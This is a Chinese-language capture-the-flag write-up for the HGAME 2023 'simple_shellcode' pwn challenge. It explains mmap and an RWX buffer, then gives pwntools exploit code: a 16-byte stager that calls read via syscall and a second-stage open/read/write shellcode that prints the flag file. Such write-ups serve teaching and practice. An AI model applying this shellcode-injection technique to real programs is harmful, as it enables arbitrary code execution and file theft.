【pwn】[HGAME 2023 week1]simple_shellcode --orw利用攻击

发布时间 2023-11-11 17:25:23作者: GGBomb

先查看程序的保护状态

可以看到,保护全开,拖进ida看主函数的逻辑

可以看到有个mmap函数:

mmap() 函数是Unix和类Unix操作系统中的一个系统调用,用于在进程的地址空间中映射文件或者其它对象。这样做的好处是可以让文件直接映射到内存中,从而避免了频繁的文件 I/O 操作,提高了文件的读取效率。

mmap() 函数的一般形式如下:
c
复制代码
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
参数说明:
addr:指定映射区的开始地址,通常设置为0,表示由系统自动分配。
length:指定映射区的长度,单位是字节。
prot:指定映射区的保护方式,如 PROT_READ(可读)、PROT_WRITE(可写)等。
flags:指定映射区的相关标志,比如 MAP_SHARED(多个进程可以共享该映射)和 MAP_PRIVATE(创建一个写时复制的私有映射)等。
fd:要映射的文件描述符,如果不是映射文件,则设置为 -1。
offset:指定文件映射的起始位置。
使用mmap()函数后,就可以通过对返回的指针进行读写操作,实际上就是对文件内容的读写。当不再需要映射时,可以使用munmap()函数取消映射。
总的来说,mmap() 是一个强大的系统调用,可以用于高效地处理文件的 I/O 操作,尤其适用于需要频繁读写文件内容的场景。
简单来说,就是将0xCAFE0000开始的位置,0x1000个字节大小的位置都修改成可读可写可执行,gdb动态调试用vmmap也能看到

可以看到,执行了vmmap函数之后,那段位置有了rwxp权限,接着继续看代码逻辑:read(0, (void *)0xCAFE0000LL, 0x10uLL);这里是往该地址输入内容,可以考虑shellcode,但是有长度限制,后面那段代码爆红,我们可以看一下其汇编代码

这里的call rdx就是跳转到我们0x0CAFE0000处,因为我们输入只有0x10个字节,我们可以考虑用syscall调用read函数,看代码:

code='''
mov rdi,rax
mov rsi,0xcafe0000
syscall '''
shellcode=asm(code)
io.send(shellcode)
read的参数rdi,rsi,rdx,因为上图中eax已经赋值成0,read的syscall调用号也是0,所以刚好,更加参数这样设置就行,然后代码执行后,会继续读入数据,这一次的read读入的参数在rdx中,rdx前面已经被赋值过,可以读入很大的数据。
addr=0xcafe0000+0x100
shellcode1 = shellcraft.open("./flag")
shellcode1 += shellcraft.read(3, addr, 0x50)
shellcode1 += shellcraft.write(1, addr, 0x50)
payload = asm(shellcode1)
print(len(code))
io.send(b'\x90'*len(shellcode)+payload)
io.interactive()
接着就是利用orw的方法获得flag就行:ORW类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve等),使得我们并不能正常 get shell,只能通过ROP的方式调用openreadwrite的来读取并打印flag 内容
这里的io.send(b'\x90'*len(shellcode)+payload)是因为,read函数这边读入的数据依旧是从0x0CAFE0000读入的,调用read函数后会跳转到下一行代码继续执行,而read函数的调用是在我们上一个shellcode的最后一行,所以(b'\x90'*len(shellcode)+payload就是我们这个新的shellcode的地址